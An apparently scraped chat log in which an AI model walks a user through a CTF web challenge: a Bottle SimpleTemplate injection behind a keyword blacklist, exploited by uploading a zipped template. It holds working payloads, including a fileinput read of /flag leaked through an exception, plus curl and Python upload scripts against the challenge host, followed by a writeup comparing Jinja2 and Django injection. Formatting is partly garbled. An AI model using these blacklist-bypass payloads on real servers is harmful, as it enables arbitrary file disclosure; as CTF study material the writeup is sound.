我正在解决一道ctf题目,题目题目给了网站源码.请指导完成题目拿到flag
बनाया गया: 15 अगस्त 2025
का उपयोग करके उत्तर दिया गया GPT-5 Thinking द्वारा Chat01
बनाया गया: 15 अगस्त 2025
का उपयोग करके उत्तर दिया गया GPT-5 Thinking द्वारा Chat01
好耶,这题是个典型的 Bottle 模板注入(SSTI)+ 黑名单绕过。源码里最大的问题是:把你上传的文本文件内容直接当作 Bottle 的模板去渲染了,而且黑名单只挡了 {{ }}
这类语法里会用到的大括号、下划线、open
/os
/eval
/exec
等关键单词,但没有拦住以 %
开头的模板指令(如 include
)。因此我们可以不写 {{...}}
,改用 % include(...)
,让模板引擎去把系统里的文件读出来。flag 就在 /flag
。
read.tpl
),内容就是:% include('/flag')
bashecho "% include('/flag')" > read.tpl zip pwn.zip read.tpl
/upload
,上传 pwn.zip
。服务端会:/view/<md5>/<first_file>
。/view/<md5>/<first_file>
链接:template(content)
),% include('/flag')
会让引擎把 系统路径 /flag
的内容读进响应里返回,/view/<md5>/<filename>
:读取我们上传的文件内容到 content
,只按黑名单做了字符串级别检查,然后直接 return template(content)
渲染;而 % include('/flag')
不触犯黑名单(没用 {}
、_
、open
、os
等),因此能成功执行。/upload
:虽有防符号链接和路径穿越,但那只是解压安全;真正的洞在后续把文件内容当模板渲染。{{...}}
、open
、os
、下划线 _
等),就能过检查。% include('/flag')
足够简洁安全。% include('../../flag')
),不过题里已经暗示 “flag 在 /flag”,绝对路径通常能读到。照着上面四步做,打开 /view/...
的页面,就能把 flag 打出来。需要我帮你把 zip 的内容或 curl 命令再精确到某个部署地址,也可以直接给我目标 URL~
/upload页面没有上传接口,似乎要自己构造,该怎么做
对,这个题虽然 /upload
页面只是个静态页,但后端确实有 POST /upload
接口,接收一个表单字段名为 file
的 ZIP 文件;上传成功后会回显一个可访问的 /view/<md5>/<first_file>
链接。我们只要自己构造一个 multipart/form-data
的 POST 就行。关键点都能从源码对应到:@post('/upload')
读取 request.files.get('file')
、要求文件名以 .zip
结尾、大小 ≤ 1MB;随后解压并回显访问路径;/view/...
会把你上传文件的内容当模板渲染(存在 SSTI)。
下面直接给“可复现一把梭”的步骤。
bashecho "% include('/flag')" > read.tpl
bashzip pwn.zip read.tpl
file
,文件名必须以 .zip
结尾):bash# 把 http://TARGET:5000 换成题目实际地址 curl -X POST "http://TARGET:5000/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
text文件列表: read.tpl 访问: /view/<md5>/read.tpl
直接 GET 这个链接即可把 /flag
的内容包含进响应里(也就是 flag):
bashcurl "http://TARGET:5000/view/<md5>/read.tpl"
pythonimport re, requests BASE = "http://TARGET:5000" # 1) 先准备好 pwn.zip(同上命令行 zip) with open("pwn.zip","rb") as f: r = requests.post(f"{BASE}/upload", files={"file": ("pwn.zip", f, "application/zip")}) print(r.text) m = re.search(r"/view/[0-9a-f]{32}/[^\s]+", r.text) assert m, "没匹配到 view 链接" view_url = BASE + m.group(0) print("VIEW:", view_url) # 2) 访问 view 拿 flag print(requests.get(view_url).text)
file
,否则 request.files.get('file')
拿不到会报 “Invalid file”。.zip
结尾(后端用 zip_file.filename.endswith('.zip')
判断)。read()
计算大小,再 seek(0)
)。/view/<md5>/<first_file>
里回显给你;所以 zip 里尽量只放 read.tpl
一个文件,避免不可控顺序。/view/...
会先读你文件内容,做一个很粗糙的黑名单检查(拦 {
}
_
open
os
等),然后直接 template(content)
渲染;% include('/flag')
不含大括号/下划线/敏感词,能绕过并把系统文件读出来。照做即可在 /view/...
页面看到 flag。需要我帮你把上述命令替换成题目实际域名/端口,或者给一个 Burp/Postman 的表单配置截图要点,也可以直接说~
上传成功后访问http://challenge.xinshi.fun:49847/view/b7c2c5d68e5af6b275876a2479b9d1f8/read.tpl返回的是我的文本内容不解析,如果访问的是/flag返回的是Error rendering template: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.另一种直接返回文本内容:"% include('../../../../../../..//flag')"
你现在遇到的两个现象,其实都能从源码解释清楚并且很好修:
/view/.../read.tpl
只回显文本、不解析”% include('/flag')
报:Use of absolute path for template name(Bottle 0.12 不允许用绝对路径做 include)关键代码:/view
里把你上传文件的内容直接丢进 template(content)
去渲染;在渲染前做了一个很粗糙的黑名单检查(包括 {
、}
、:
、_
、open
、os
等),命中就直接拦。
Bottle SimpleTemplate 里,只有以行首 %
开头的行才会被当作模板指令。常见踩坑:
" % include('...') "
)→ 这当然就只是普通文本了%
不是第一个字节 → 也会被当文本正确写法(整份文件只这一行、行首无空格、无引号、UTF-8 无 BOM):
% include('../../../../../../flag')
提示:行首就是
%
,没有任何前导空格或引号;整份文件不要再放别的字符或冒号(黑名单里有:
)。
Bottle 0.12 不允许 include('/flag')
这种绝对路径,报的就是你看到的那个 Warning。解决办法:
用相对路径 + 多层 ..
回到根目录,然后再去找 flag
。POSIX 下超出根目录的 ..
会被“截断”在根上,所以“多给几层 ..
没关系”。
实战 payload(任选其一,前面说的格式要求依旧):
% include('../../../../../../flag')
或者更保险(给足层级):
% include('../../../../../../../../../../flag')
注意:不要再写成
" % include('../../../../../../..//flag') "
这种带引号或行首有空格的样子;那会被原样回显成文本。
bash# 1) 生成 payload(务必“行首 %、无引号、无前导空格、UTF-8 无 BOM”) printf "%% include('../../../../../../../../../../flag')\n" > read.tpl # 2) 打成 zip(尽量 zip 里只放这一个文件,避免“first_file”不可控) zip pwn.zip read.tpl # 3) 构造上传(字段名必须叫 file,文件名后缀必须 .zip) curl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip" # 响应里会给出类似:/view/<md5>/read.tpl # 4) 访问那个 /view/<md5>/read.tpl curl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl" # 页面里就会直接把 /flag 的内容包含出来(即 flag)
template(content)
渲染;只要没触发黑名单(不出现 {
}
:
_
open
os
等),模板指令就会执行。include('/flag')
因为是绝对路径被 Bottle 0.12 拦了;但用相对路径 ../../.../flag
就会按模板查找路径去拼接相对路径,最终能读到根目录下的 /flag
。"% include('../../.../flag')"
”就是因为整行被放进了引号里;模板根本没把它当指令。%
(没有空格、没有 BOM):
(黑名单会拦)include
的引号是半角 '
或 "
都行,但不要把整行再多套一层引号../
(10 层以上都行),以防当前工作目录层级与你预想不同read.tpl
,避免服务端选择了别的 first_file照着上面改,重新打包上传,再点 /view/<md5>/read.tpl
,flag 就能出来。需要我帮你把你现在的 read.tpl
看一眼(确认是否有 BOM 或缩进),把内容贴过来就行。
你说得对:直接 % include('/flag')
会被 Bottle 拒绝绝对路径,而相对路径 ../
又经常被当成纯文本。重新把源码啃了一遍,可以稳定拿到 flag,用的不是 include
,而是用标准库读文件 + 主动抛异常把 flag“带出来”。原因是这段代码会把你上传的文本直接作为 Bottle SimpleTemplate 模板执行,若报错就把异常信息原样回显:return f"Error rendering template: {str(e)}"
(也就是你能在页面上看到异常消息)。
另外它的黑名单非常“粗暴”,只要你的模板文本里出现这些子串就直接拦:{ } os eval exec sock < > bul class ? : bash _ globals get open
。所以不能出现花括号、下划线、open
/os
/get
/exec
/eval
、冒号等(这也是你很多常规 SSTI 写法被吃掉/不解析的根本原因)。
好消息是:我们既不需要花括号 {{ }}
,也不需要下划线或冒号,就能把 /flag
读出来。
做一个只含下面三行的文本文件(每一行行首都是 %
,前面不能有空格;整份文件不要出现空格以外的多余字符):
text% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)
fileinput
是 Python 自带库,不含黑名单关键字;fileinput.input('/flag')
在库内部会打开文件(不要求你在模板里写 open
),join
拼成字符串;raise Exception(m)
没有下划线和冒号;后端会捕获异常并把消息 m
(也就是 flag)回显在页面上。这正是 /view
路由的行为。关键点:不能有 BOM、不能有前导空格、不能加引号把整行包住。你之前出现
" % include('...') "
被当普通文本,正是因为行首或引号问题。
bashprintf "%% import fileinput\n%% m = ''.join(fileinput.input('/flag'))\n%% raise Exception(m)\n" > read.tpl zip pwn.zip read.tpl
file
,文件名必须以 .zip
结尾):bashcurl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
/view/<md5>/read.tpl
,访问它即可在“Error rendering template: …”后面看到 flag:bashcurl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl"
/view/<md5>/<filename>
:读取你上传的文件内容为 content
,如果没命中黑名单,就直接 template(content)
执行;一旦抛异常,就把异常字符串原样返回给你(这正是我们要利用的“带外回显”)。fileinput.input('/flag')
能在“你的模板文本不出现 open
的情况下”由库内部把文件读出来。include('/flag')
在 Bottle 0.12 会触发“绝对路径被弃用”的异常,正好也被这段 except
捕获并显示出来,你之前看到的 Warning 就来自这里。%
(没有 BOM、没有任何前导空格){
}
_
:
open
os
get
)read.tpl
一个文件,避免服务端选择了别的 first_file把题目给的源码保存为 app.py
,装个 bottle 跑起来:
bashpython3 -m pip install bottle python3 app.py # 监听 0.0.0.0:5000
用上面的 pwn.zip
直接 POST 到 http://127.0.0.1:5000/upload
;随后 GET /view/<md5>/read.tpl
,你会在页面上看到“Error rendering template: <flag内容>”。上述行为完全来自源码中的 /upload
与 /view
两个路由实现。
关于“用工具跑 SSTI”:这里的注入点是你上传的文件本身,不是 URL/表单参数,通用自动化工具(如模糊器/tplmap)不太适合;而且这题黑名单把
{
、_
、:
都禁了,常见 payload 很多都直接失效。按上面的三行 payload,命中率最高、最省事。
最新payload成功返回flag:Error rendering template: LILCTF{6ot7le_HaS_BE3N_R3cycLEd}请为我讲解漏洞原理,编写wp,题目考察的是什么模板注入,跟bottle有关吗,我不太了解bottle是什么,这道题跟ctf常考的python的django还有flask相关的模板注入有什么不同吗
太棒了,恭喜你拿到 flag!下面把这题的原理、利用过程(wp)、以及它和 Flask/Django 模板注入的异同,给你理一遍。
服务端把你上传的文本文件内容当成 Bottle 的 SimpleTemplate 模板直接执行了:
pythonwith open(file_path, 'r', encoding='utf-8') as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try: return template(content) except Exception as e: return f"Error rendering template: {str(e)}"
也就是说,只要你的文本没有命中黑名单,就会被 template(content)
当模板执行;一旦执行报错,异常信息会被原样回显给你,这就给了我们“带外回显”的通道。
题目用了一个非常脆弱的黑名单判定是否拒绝渲染,只是简单检查是否包含如下子串:{ } os eval exec sock < > bul class ? : bash _ globals get open
。于是 {{...}}
这类表达式、open/os
等常规手法会被挡住,但依旧挡不住很多 Bottle/STPL 的玩法。
另外,上传接口会把 zip 解压到一个基于 md5 的目录,然后回显“第一个文件”的访问路径 /view/<md5>/<first_file>
(这就是你后面访问的 URL 来源):
由于黑名单把 {
、_
、open
、os
、:
等都禁了,并且 include('/flag')
这种绝对路径 include在 Bottle 里会报“弃用/不允许”的异常(你也确实看到了 Warning),我们换个路子:
fileinput
读取 /flag
(绕过“模板里出现 open/os”这一层字符串黑名单);raise Exception(flag内容)
,利用后端的 except
分支把异常信息回显给我们。最终 payload(每一行行首是 %
,且不能有前导空格或 BOM):
text% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)
之所以能成功,是因为后端一旦捕获异常,就把 str(e)
(也就是我们塞进去的 flag 文本)直接拼到 "Error rendering template: ..."
返回给你。你拿到的响应正是这一机制在工作。
小对比:你起初尝试的
% include('/flag')
之所以失败,是因为 Bottle 0.12 不允许绝对路径 include;而相对路径../../.../flag
又经常被你那份文本“变成普通文本”(行首缩进/被引号包裹、或碰到黑名单字符),所以不稳定。我们的做法完全绕开了 include 与黑名单的多个“地雷”。
环境入口
POST /upload
接收 file
字段的 zip,解压后回显 /view/<md5>/<first_file>
;GET /view/<md5>/<filename>
会把文件内容当模板渲染。黑名单
{}
、_
、:
、open
、os
、exec
、eval
等就拒绝渲染。突破口
%
**写任意 Python 语句;fileinput.input('/flag')
在库内部打开文件,不要求我们在模板文本里出现 open
/os
等敏感词,从而绕过黑名单。回显通道
try: template(content) except Exception as e: return "Error rendering template: " + str(e)
——我们用 raise Exception(flag)
把 flag 当异常消息抛出并被回显。最终步骤
read.tpl
(以上 3 行,确保行首就是 %
、UTF-8 无 BOM、无多余字符);pwn.zip
,上传到 /upload
;/view/<md5>/read.tpl
,响应中 Error rendering template: ...
即为 flag。%
就执行语句,{{...}}
求值表达式,模板本身会被编译成 Python 并 exec
。因此,一旦把用户输入作为模板渲染,基本就相当于给了“Python 代码执行的舞台”,黑名单不可能完全兜住。Flask(Jinja2)
{{ ... }}
与 {% ... %}
;常见打法是从模板变量出发,链式拿到 config
、__class__
、mro
、subclasses__()
再到文件/命令执行。{
、_
都黑了,Jinja 的“魔术链”基本废掉。%
就能跑 Python,威力更直接也更原始。Django(Django Template Language)
Bottle(STPL)的特色
%
= Python 代码 是最大的不同点;include()
依赖“模板查找路径”,还会对绝对路径做限制;template()
作为模板本体,那基本就等价于“给用户一块能写 Python 的执行区”。这题就踩在了这里。template(content)
);如果只是想显示文本,请做转义输出,比如把它当普通字符串返回或写到 <pre>
。except
分支就是关键利用点。template(content)
);异常被原样回显。%
写 Python;用 fileinput
读 /flag
;raise Exception(flag)
借异常回显拿到 flag。